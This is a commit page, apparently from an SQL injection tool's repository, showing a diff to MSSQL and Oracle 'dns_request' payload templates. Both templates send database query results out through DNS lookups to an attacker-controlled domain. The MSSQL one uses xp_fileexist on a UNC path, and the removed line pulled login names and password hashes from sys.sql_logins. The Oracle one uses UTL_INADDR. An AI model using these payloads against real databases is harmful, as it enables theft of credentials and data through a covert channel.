Thanks to visit codestin.com Credit goes to github.com
We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 1b072f6 commit 9199ce5Copy full SHA for 9199ce5
2 files changed
procs/mssqlserver/dns_request.txt
@@ -1,5 +1,3 @@
1
-# Reference: http://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-karlsson.pdf
2
-
3
DECLARE @host varchar(1024);
4
-SELECT @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.%DOMAIN%' FROM sys.sql_logins;
5
-EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
+SELECT @host = (%QUERY%) + '.%DOMAIN%';
+EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
procs/oracle/dns_request.txt
@@ -0,0 +1 @@
+SELECT UTL_INADDR.GET_HOST_ADDRESS((%QUERY%)||%DOMAIN%) FROM DUAL
0 commit comments